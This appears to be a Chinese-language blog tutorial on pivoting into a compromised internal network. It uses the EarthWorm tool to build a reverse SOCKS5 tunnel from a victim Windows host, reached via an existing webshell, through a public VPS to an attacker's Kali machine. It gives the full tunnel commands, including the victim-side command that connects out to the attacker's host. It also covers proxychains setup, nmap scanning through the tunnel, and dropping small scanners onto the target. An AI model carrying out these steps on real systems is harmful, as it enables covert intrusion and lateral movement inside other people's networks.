内网穿透工具:EW(EarthWorm) 下载地址: https://github.com/idlefire/ew
- 如何使用EW做反向Socks5代理
- 浏览器如何设置Socks5代理访问目标内网Web服务
- 利用proxychains给终端设置Socks5代理(方便将本地命令行工具的流量代理进目标内网)
- Kali Linux(Attacker 内网 192.168.23.133)后面简称攻击机器
- Ubuntu 16.04.3(Attacker 公网 144.168.57.70)后面简称公网机器
- Windows 10(Victim 目标内网 10.74.155.39)后面简称目标机器
网络拓扑:Kali Linux是我本地的一台虚拟机,Ubuntu是公网上的一台 vps,Windows 10 是目标机器,内网IP,部分端口映射到外网,可以访问公网。
现在已拿到目标内网一台机器的权限(该机器将80端口映射至外网,Web服务存在漏洞,已拿到webshell)。需要对内网做进一步的渗透,目前我有一台公网的Ubuntu,一台内网的Kali,如何反向Socks5将Kali的流量代理进目标内网?
此处仅演示通过EW做反向Socks5代理,正向、多级级联的的代理方式可以参考官方文档。
./ew_for_linux64 -s rcsocks -l 1080 -e 1024 &
该命令的意思是说公网机器监听1080和1024端口。等待攻击者机器访问1080端口,目标机器访问1024端口。
ew_for_Win.exe -s rssocks -d 144.168.57.70 -e 1024
其中-d参数的值为刚刚的公网IP。
Windows 10 目标机器: 注意这里访问了 1024 端口。
方法一:Kali 浏览器设置Socks5代理
我随便在windows上面开一个web服务: phpstudy 开一个 Apache:
此时已可以通过Kali攻击机器的浏览器访问目标内网的Web服务:
方法二:使用proxychains给终端设置Socks5代理
cd /usr/local/src
git clone https://github.com/rofl0r/proxychains-ng.git
cd proxychains-ng
./configure --prefix=/usr --sysconfdir=/etc
make && make install
make install-config
cd .. && rm -rf proxychains-ng
这里一路操作下来畅通无阻,仅截图部分操作记录。
vi /etc/proxychains.conf
socks5 144.168.57.70 1080
因为刚刚说过,windows 10目标机器的127.0.0.1为 Apache 服务。
为什么是 proxychains4
这条命令呢?参考:利用proxychains在终端使用socks5代理 - CSDN博客
但是为什么失败了呢?其实是这里设置错了:
看命令行的报错,先通过127.0.0.1的9050端口进行代理,就出错了。
所以修改/etc/proxychains.conf
,把这一行删掉,只留下socks5这一行:
然后访问使用proxychains代理访问 127.0.0.1, 就成功了:
这也就是 Windows 10 的127.0.0.1:
但是亲测使用 kali ip 进行nmap扫描并不对:
可以看出,扫 127.0.0.1 和扫 Kali IP的结果是一样的,但是和扫windows10主机内网IP的结果不一样。但是当然是以扫windows10内网IP的结果为准啦。
总结一下:**这里 nmap 的 IP 应该为目标机器内网IP。**就理解为:nmap已经运行在目标windows10上了,但是扫描的时候不能使用127.0.0.1作为IP,而应该是windows10的内网IP。(而且扫描不能用半连接)。
但是前面使用了proxychains代理连,结果本应该是一样的(127.0.0.1和内网IP都指向一个地方),这可能是因为nmap走代理有问题,也就是大佬文中提到的“有的工具流量不走sock5代理,就很尴尬,具体原因不详”。
但是归根结底要使用目标机器的内网IP的,因为有的时候我们还得扫网段。这个代理之后就相当于: 代理架构好了之后,我本地走的代理,理解为我的nmap是运行于目标机器上,但是扫描的IP不能是127.0.0.1,而是目标机器的内网ip。换句话说,就相当于我的这台Kali就是目标机器了(流量层面),就相当于我这台Kali已经在目标内网中了。
但是 @从心开始 群里的大神们说(感谢这群一直耐心教导我的师傅们),不建议通过代理扫描,动静大、速度慢、不稳定、时间长、容易断。
建议的方法:丢一个小工具到目标主机上扫(可以 nc 丢),或者自己写工具。小工具推荐为:portqry 或者有个很好的扫 windows 的叫 runfinger(一半端口扫描借助powershell或/dev/tcp);hbscan;python写的小工具;ms 的 queryport......
至于为什么放着现成的工具不用自己写呢?因为大部分实战的情况下 并没有那么好的环境,很多操作都需要自己根据环境来编写对应的脚本,主要是一个根据环境定制化。nmap 体积大动静大,我们需要更轻量级定制化的工具。
总之内网穿透了就相当于我们的攻击机器在内网里面了,后面自己发挥......
参考链接: [1] 如何通过EW做Socks5代理进行内网渗透, 网络安全大事件,童话, 2018年1月10日 [2] 利用proxychains在终端使用socks5代理, CSDN博客,Layne101,2016年9月12日 [3] 渗透技巧——Windows平台运行Masscan和Nmap,3g学生博客,3g学生,2017年7月5日